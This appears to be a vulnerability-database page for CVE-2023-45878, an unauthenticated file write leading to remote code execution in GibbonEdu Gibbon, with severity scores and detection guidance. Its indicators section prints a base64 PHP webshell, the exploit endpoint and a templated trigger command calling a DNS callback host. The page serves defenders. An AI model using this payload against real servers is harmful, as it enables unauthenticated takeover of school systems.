cbcvebase.
CVE-2023-45878
published 2023-11-14

CVE-2023-45878: GibbonEdu Gibbon version 25.0.1 and before allows Arbitrary File Write because rubrics_visualise_saveAjax.phps does not require authentication. The endpoint…

PriorityP191critical9.8CVSS 3.1
AVNACLPRNUINSUCHIHAH
ITWEXPLOITVulnCheck KEVInitial access
Exploited in the wild
EPSS
63.11%
99.1th percentile
GibbonEdu Gibbon version 25.0.1 and before allows Arbitrary File Write because rubrics_visualise_saveAjax.phps does not require authentication. The endpoint accepts the img, path, and gibbonPersonID parameters. The img parameter is expected to be a base64 encoded image. If the path parameter is set, the defined path is used as the destination folder, concatenated with the absolute path of the installation directory. The content of the img parameter is base64 decoded and written to the defined file path. This allows creation of PHP files that permit Remote Code Execution (unauthenticated).

Affected

1 ranges
VendorProductVersion rangeFixed in
gibbonedugibbon<= 25.0.01

Detection & IOCsextracted from sources · hover to see the quote

path/modules/Rubrics/rubrics_visualise_saveAjax.php
urlPOST /modules/Rubrics/rubrics_visualise_saveAjax.php HTTP/1.1
commandGET /{{filename}}.php?cmd=nslookup+{{interactsh-url}}
bytes
PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+
  • Look for unauthenticated POST requests to /modules/Rubrics/rubrics_visualise_saveAjax.php containing the 'img', 'path', and 'gibbonPersonID' parameters — no session/auth cookie required.
  • Alert on POST bodies to rubrics_visualise_saveAjax.php where the 'path' parameter contains a .php extension, indicating an attempt to write a PHP webshell.
  • The base64 payload PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+ decodes to '<?php system($_GET['cmd']); ?>' — detect this string in POST bodies or written files.
  • Monitor for newly created .php files in the Gibbon installation root directory, especially files with random short names, as the exploit writes the webshell to the path defined by the 'path' parameter concatenated with the installation directory.
  • After initial file write, watch for GET requests to newly created PHP files with a 'cmd' query parameter (e.g., ?cmd=nslookup or ?cmd=id), indicating webshell execution.
  • Use Shodan/FOFA fingerprint (favicon hash -165631681) to identify exposed Gibbon LMS instances for proactive scanning.
  • ·The vulnerable endpoint rubrics_visualise_saveAjax.php requires NO authentication; exploitation is fully unauthenticated, so auth-based controls alone will not prevent abuse.
  • ·The 'path' parameter controls the destination folder for the written file, concatenated with the absolute installation path — an attacker can potentially write files to arbitrary subdirectories within the installation.
  • ·The Nuclei template uses a two-step flow: first write the PHP webshell, then trigger it via DNS callback — detection logic must account for both the write and execution phases.

CVSS provenance

nvdv3.19.8CRITICALCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
vulncheck9.8CRITICAL
CVEs like this are exactly what “Exploited This Week” covers.

Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.